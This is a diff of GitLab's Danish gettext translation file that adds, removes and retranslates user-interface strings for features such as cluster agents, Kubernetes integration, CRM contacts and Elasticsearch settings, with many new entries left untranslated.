+msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
msgstr "Der opstod en fejl under indlæsning af dine GitLab-agenter"
@@ -7307,9 +7419,30 @@ msgstr "Der opstod en fejl under indlæsning af din agent"
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr "Der opstod en ukendt fejl. Prøv venligst igen."
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr "Konfiguration"
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr "Forbindelsesstatus"
msgid "ClusterAgents|Copy token"
msgstr "Kopiér token"
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr "Oprettet af"
@@ -7328,29 +7464,32 @@ msgstr "Oprettet af %{name} %{time}"
msgid "ClusterAgents|Date created"
msgstr "Dato oprettet"
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr "Beskrivelse"
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
-msgstr "%{linkStart}GÃ¥ til dokumentationen%{linkEnd} for alternative installationsmetoder."
+msgid "ClusterAgents|Failed to register an agent"
+msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
-msgstr "GÃ¥ til depotet"
+msgid "ClusterAgents|GitLab Agent"
+msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
-msgstr "Installer en ny GitLab-agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
+msgstr ""
-msgid "ClusterAgents|Install new Agent"
-msgstr "Installer ny agent"
+msgid "ClusterAgents|Go to the repository files"
+msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
-msgstr "Integrer Kubernetes med en GitLab-agent"
+msgid "ClusterAgents|How to register an agent?"
+msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
-msgstr "Integrer med GitLab-agenten"
+msgid "ClusterAgents|Install a new agent"
+msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
msgstr ""
@@ -7361,6 +7500,9 @@ msgstr "Sidste kontakt"
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr "Lær at oprette en agentadgangstoken"
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr "Aldrig"
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
-msgstr "Læs mere om at komme godt i gang"
+msgid "ClusterAgents|Recommended"
+msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr "Anbefalet installationsmetode"
+msgid "ClusterAgents|Register"
+msgstr ""
+
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
+msgstr ""
+
msgid "ClusterAgents|Registering Agent"
msgstr "Registreringsagent"
msgid "ClusterAgents|Registration token"
msgstr "Registreringstoken"
-msgid "ClusterAgents|Select an Agent"
-msgstr "Vælg en agent"
-
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
-msgstr "Vælg hvilken agent du vil installere"
-
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr "Agenten har ingen tokens"
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr "Ukendt bruger"
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr "Du skal oprette en token for at oprette forbindelse til din agent"
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr "Klyngenavn kræves."
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr "Fejl ved forbindelse"
@@ -7703,9 +7866,6 @@ msgstr "Henter projekter"
msgid "ClusterIntegration|Fetching zones"
msgstr "Henter zoner"
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLab-integrering"
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr "Instanstype"
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr "Integrering deaktiveret"
@@ -7778,9 +7932,6 @@ msgstr "Kubernetes-klyngenavn"
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr "Kubernetes-klynge blev oprettet."
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr "Kubernetes-klynger giver mulighed for at bruge kontrol af programmer, udsend dine programmer, kør dine pipelines og meget mere på en nem måde."
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -7980,7 +8131,7 @@ msgid "ClusterIntegration|See and edit the details for your Kubernetes cluster"
msgstr "Se og rediger detaljerne til din Kubernetes-klynge"
msgid "ClusterIntegration|Select a VPC"
-msgstr ""
+msgstr "Vælg en VPC"
msgid "ClusterIntegration|Select a VPC to choose a security group"
msgstr "Vælg en VPC for at vælge en sikkerhedsgruppe"
@@ -7992,7 +8143,7 @@ msgid "ClusterIntegration|Select a VPC to use for your EKS Cluster resources. To
msgstr ""
msgid "ClusterIntegration|Select a network"
-msgstr ""
+msgstr "Vælg et netværk"
msgid "ClusterIntegration|Select a network to choose a subnetwork"
msgstr "Vælg et netværk for at vælge et undernetværk"
@@ -8004,7 +8155,7 @@ msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
msgid "ClusterIntegration|Select a security group"
-msgstr ""
+msgstr "Vælg en sikkerhedsgruppe"
msgid "ClusterIntegration|Select a subnet"
msgstr ""
@@ -8019,7 +8170,7 @@ msgid "ClusterIntegration|Select an instance type"
msgstr ""
msgid "ClusterIntegration|Select key pair"
-msgstr ""
+msgstr "Vælg nøglepar"
msgid "ClusterIntegration|Select machine type"
msgstr "Vælg maskintype"
@@ -8034,7 +8185,7 @@ msgid "ClusterIntegration|Select project to choose zone"
msgstr "Vælg projekt for at vælge zone"
msgid "ClusterIntegration|Select service role"
-msgstr ""
+msgstr "Vælg tjenesterolle"
msgid "ClusterIntegration|Select the key pair name that will be used to create EC2 nodes. To use a new key pair name, first create one on %{linkStart}Amazon Web Services%{linkEnd}."
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr "Kan ikke oprette forbindelse"
msgid "ClusterIntegration|Unknown Error"
msgstr "Ukendt fejl"
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr "Der opstod en fejl under indlæsning af klynger"
msgid "Code"
msgstr "Kode"
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr "Kodedækning: %{coveragePercentage} %{percentSymbol}"
@@ -8231,6 +8385,9 @@ msgstr "Kodeejere"
msgid "Code review"
msgstr "Kodekontrol"
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr "Kodeudklip kopieret. Indsæt det på den korrekte placering i YAML-filen."
@@ -8363,7 +8520,7 @@ msgid "Commit %{commit_id}"
msgstr "Commit %{commit_id}"
msgid "Commit (when editing commit message)"
-msgstr ""
+msgstr "Commit (ved redigering af commit-meddelelse)"
msgid "Commit Message"
msgstr "Commit-meddelelse"
@@ -8585,7 +8742,7 @@ msgid "ComplianceFrameworks|Invalid format"
msgstr ""
msgid "ComplianceFrameworks|Name"
-msgstr ""
+msgstr "Navn"
msgid "ComplianceFrameworks|Name is required"
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr "Konfigurer integreringer"
msgid "Configure Prometheus"
msgstr "Konfigurer Prometheus"
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr "Konfigurer SAST i `.gitlab-ci.yml` med den GitLab-håndterede skabelon. Du kan [tilføje variabeltilsidesættelser](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) for at tilpasse indstillinger for SAST."
@@ -8668,6 +8831,9 @@ msgstr "Konfigurer hemmelig registrering i `.gitlab-ci.yml` med den GitLab-hånd
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr "Konfigurer tracing"
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr "Konfigurer måden en bruger opretter en ny konto."
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -8825,7 +8988,7 @@ msgid "Contact support"
msgstr "Kontakt support"
msgid "Contacts"
-msgstr ""
+msgstr "Kontakter"
msgid "Container Registry"
msgstr "Beholderregister"
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr "Sidste job:"
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9554,7 +9717,7 @@ msgid "Couldn't assign policy to project"
msgstr "Kunne ikke tildele regelsæt til projekt"
msgid "Country"
-msgstr ""
+msgstr "Land"
msgid "Coverage"
msgstr "Dækning"
@@ -9577,6 +9740,9 @@ msgstr "Opret %{type}"
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr "Opret ny mappe"
@@ -9605,7 +9771,7 @@ msgid "Create a new issue"
msgstr "Opret en ny problemstilling"
msgid "Create a new project"
-msgstr ""
+msgstr "Opret et nyt projekt"
msgid "Create a new repository"
msgstr "Opret et nyt depot"
@@ -9736,6 +9902,9 @@ msgstr "Opret udgivelse"
msgid "Create requirement"
msgstr "Opret krav"
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr "Opret udklip"
@@ -9743,7 +9912,7 @@ msgid "Create tag %{tagName}"
msgstr "Opret mærkatet %{tagName}"
msgid "Create topic"
-msgstr ""
+msgstr "Opret emne"
msgid "Create user"
msgstr "Opret bruger"
@@ -9769,9 +9938,6 @@ msgstr "Du har ikke tilladelse til at oprette grupper."
msgid "CreateTag|Tag"
msgstr "Mærkat"
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr "opret en personlig adgangstoken"
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr "%{name} (standard)"
@@ -9986,11 +10152,41 @@ msgid "CredentialsInventory|SSH Keys"
msgstr "SSH-nøgler"
msgid "Credit card:"
-msgstr ""
+msgstr "Kreditkort:"
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr "Tidszone for Cron"
@@ -10353,7 +10549,7 @@ msgid "DORA4Metrics|Days from merge to deploy"
msgstr "Dage fra sammenlægning til udsendelse"
msgid "DORA4Metrics|Deployment frequency"
-msgstr ""
+msgstr "Udsendelseshyppighed"
msgid "DORA4Metrics|Lead time"
msgstr ""
@@ -10368,7 +10564,7 @@ msgid "DORA4Metrics|Number of deployments"
msgstr "Antal udsendelser"
msgid "DORA4Metrics|Something went wrong while getting deployment frequency data."
-msgstr ""
+msgstr "Noget gik galt under hentning af udsendelseshyppighedsdata."
msgid "DORA4Metrics|Something went wrong while getting lead time data."
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr "Diagrammet viser mediantiden mellem en sammenlægningsanmodning, der sammenlægges og udsendes i produktionsmiljøer, som er baseret på værdien %{linkStart}deployment_tier%{linkEnd}."
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr "Betjeningspanel"
@@ -11026,6 +11225,9 @@ msgstr "Slet kommentar"
msgid "Delete Key"
msgstr "Slet nøgle"
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr "Slet Value Stream"
@@ -11047,6 +11249,9 @@ msgstr "Slet kommentar"
msgid "Delete corpus"
msgstr "Slet korpus"
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr "Slet fil"
@@ -11101,9 +11306,6 @@ msgstr "Slet brugerliste"
msgid "Delete variable"
msgstr "Slet variabel"
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr "Kunne ikke fjerne projektdepot. Prøv venligst igen eller kontakt administrator."
@@ -11149,6 +11351,12 @@ msgstr "Slettede projekter"
msgid "Deleted projects cannot be restored!"
msgstr "Slettede projekter kan ikke gendannes!"
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr "Sletter"
@@ -11266,6 +11474,9 @@ msgstr "Afhængighedsproxy"
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr "Afhængighedsproxy"
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11525,17 +11742,14 @@ msgid "Deploying to AWS is easy with GitLab"
msgstr "Udsendelse til AWS er let med GitLab"
msgid "Deployment Frequency"
-msgstr ""
+msgstr "Udsendelseshyppighed"
msgid "Deployment frequency"
-msgstr ""
+msgstr "Udsendelseshyppighed"
msgid "Deployments"
msgstr "Udsendelser"
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,8 +11979,8 @@ msgstr "Registrer værtsnøgler"
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
-msgstr "DevOps-rapport"
+msgid "DevOps Reports"
+msgstr ""
msgid "DevOps adoption"
msgstr ""
@@ -12032,6 +12246,9 @@ msgstr "Mappenavn"
msgid "Disable"
msgstr "Deaktivér"
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr "Deaktivér totrinsgodkendelse"
@@ -12199,6 +12416,9 @@ msgstr "Dokumenter genindekseret: %{processed_documents} (%{percentage} %%)"
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr "Domæne"
@@ -12289,9 +12509,6 @@ msgstr "Nedstemmer"
msgid "Draft"
msgstr "Udkast"
-msgid "Draft merge requests can't be merged."
-msgstr "Kladdesammenlægningsanmodninger kan ikke sammenlægges."
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr "Træk dine designs hertil eller %{linkStart}klik for at uploade%{linkEnd}."
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr "Forfaldsdato"
@@ -12403,9 +12623,15 @@ msgstr "Rediger program"
msgid "Edit comment"
msgstr "Rediger kommentar"
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr "Rediger udsendelsesfrysning"
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr "Rediger beskrivelse"
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr "E-mail-underretning"
msgid "Email a new %{name} to this project"
msgstr "Send e-mail med en ny %{name} til projektet"
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr "E-mailadresse som skal bruges til serviceskranke"
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr "må ikke overstige %{recipients_limit}"
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr "Aktivér SSL-verificering"
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr "Aktivér tjenesteping"
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr "Aktivér adgang til ydelseslinjen for ikke-administratorer i en given gruppe."
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr "Aktivér administratortilstand"
@@ -12781,6 +13019,9 @@ msgstr "Aktivér vedligeholdelsestilstand"
msgid "Enable multipart emails"
msgstr "Aktivér multipart e-mails"
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr "Indtast din Packagist-server. Er som standard https://packagist.org."
@@ -13038,16 +13285,13 @@ msgstr "Job: %{job}"
msgid "EnvironmentsDashboard|More actions"
msgstr "Flere handlinger"
-msgid "EnvironmentsDashboard|More information"
-msgstr "Mere information"
-
msgid "EnvironmentsDashboard|Remove"
msgstr "Fjern"
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr "Tildel epic"
msgid "Epics|Enter a title for your epic"
msgstr "Indtast en titel til din epic"
-msgid "Epics|How can I solve this?"
-msgstr "Hvordan kan jeg løse det?"
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr "Lad den være tom for at nedarve fra milepælsdatoer"
@@ -13338,9 +13579,6 @@ msgstr "Noget gik galt under flytning af organisering af element."
msgid "Epics|Something went wrong while removing issue from epic."
msgstr "Noget gik galt under fjernelse af problemstilling fra epic."
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr "Send e-mail til bruger"
msgid "EscalationPolicies|Escalation policies"
msgstr "Eskaleringsregelsæt"
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr "Undtagelser"
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr "Uden sammenlægningscommits. Begrænset til %{limit} commits."
@@ -13953,7 +14188,7 @@ msgid "Expires in %{expires_at}"
msgstr "Udløber om %{expires_at}"
msgid "Expires on"
-msgstr ""
+msgstr "Udløber"
msgid "Expires:"
msgstr "Udløber:"
@@ -13979,6 +14214,12 @@ msgstr "Udforsk projekter"
msgid "Explore public groups"
msgstr "Udforsk offentlige grupper"
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr "Eksportér"
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr "Ekstern wiki"
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr "Kunne ikke installere."
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr "Kunne ikke indlæse tildelere."
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr "Kunne ikke flytte problemstillingen fordi målprojektet ikke findes."
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr "Kunne ikke promovere etiket på grund af intern fejl. Kontakt venligst administratorer."
@@ -14248,9 +14501,6 @@ msgstr "Kunne ikke beskytte miljøet"
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr "Kunne ikke fjerne et Zoom-møde"
@@ -14690,6 +14940,9 @@ msgstr "Filtrér efter sammenlægningsanmodninger som i øjeblikket er lukket el
msgid "Filter by merge requests that are currently merged."
msgstr "Filtrér efter sammenlægningsanmodninger som i øjeblikket er sammenlagt."
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr "Filtrér efter milepælsnavn"
@@ -14769,7 +15022,7 @@ msgid "Finished at"
msgstr "Færdig kl."
msgid "First Name"
-msgstr ""
+msgstr "Fornavn"
msgid "First Seen"
msgstr "Først set"
@@ -14786,15 +15039,6 @@ msgstr "Først set"
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr "Fast dato"
-
-msgid "Fixed due date"
-msgstr "Fast forfaldsdato"
-
-msgid "Fixed start date"
-msgstr "Fast startdato"
-
msgid "Fixed:"
msgstr "Fast:"
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15066,7 +15313,7 @@ msgid "General pipelines"
msgstr "Generelle pipelines"
msgid "General settings"
-msgstr ""
+msgstr "Generelle indstillinger"
msgid "Generate a default set of labels"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr "Generisk"
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr "URL'en må ikke være tom"
